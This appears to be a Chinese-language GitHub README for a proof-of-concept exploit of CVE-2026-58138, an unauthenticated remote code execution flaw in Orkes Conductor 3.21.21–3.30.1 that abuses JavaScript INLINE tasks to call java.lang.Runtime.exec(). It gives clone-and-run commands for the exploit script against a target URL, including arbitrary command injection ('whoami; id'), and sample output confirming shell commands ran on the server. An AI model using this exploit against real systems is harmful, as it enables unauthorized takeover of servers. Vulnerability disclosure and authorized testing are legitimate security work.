Orkes Conductor 中的严重远程代码执行漏洞
CVE-2026-58138 是一个影响 Orkes Conductor 版本 3.21.21 至 3.30.1 的严重未认证远程代码执行 (RCE) 漏洞。该漏洞允许攻击者在无需任何认证的情况下在 Conductor 服务器上执行任意命令,可能导致系统完全沦陷。
该漏洞存在于 Orkes Conductor 工作流引擎中的 INLINE 任务 类型中。INLINE 任务支持 JavaScript 求值,并可通过 eval 访问 Java 对象,从而允许攻击者:
INLINE 任务的恶意工作流java.lang.Runtime.exec() 在 Conductor 服务器上运行系统命令| 版本范围 | 状态 |
|---|---|
| 3.21.21 - 3.30.1 | ✅ 受影响 |
| > 3.30.1 | ❌ 已修复 |
# Clone the repository
git clone https://github.com/0xgh057r3c0n/CVE-2026-58138.git
cd CVE-2026-58138
# Make the script executable
chmod +x CVE-2026-58138.py
# Verify installation
python3 CVE-2026-58138.py --help
# Basic usage
python3 CVE-2026-58138.py http://target:8080
# Custom command
python3 CVE-2026-58138.py http://target:8080 -c "whoami; id"
[>] Orkes Conductor 3.21.21 - 3.30.1 Remote Code Execution
[>] Author: 0xgh057r3c0n
[>] CVE-2026-58138 Unauthenticated RCE PoC
[*] target = http://192.168.1.100:8080
[*] command = 'id; hostname'
[+] workflow 'pwn_1742345678' registered (HTTP 200)
[+] started workflow id = 123e4567-e89b-12d3-a456-426614174000
[+] UNAUTHENTICATED RCE CONFIRMED – command output:
uid=1000(conductor) gid=1000(conductor) groups=1000(conductor)
conductor-server-6b7c8d9e0f-abc12
3.30.2 或更高版本仅用于教育和安全研究目的。 仅可在您拥有或已获得明确测试许可的系统上使用。
⭐ 觉得有用?在 GitHub 上给个星标吧 ⭐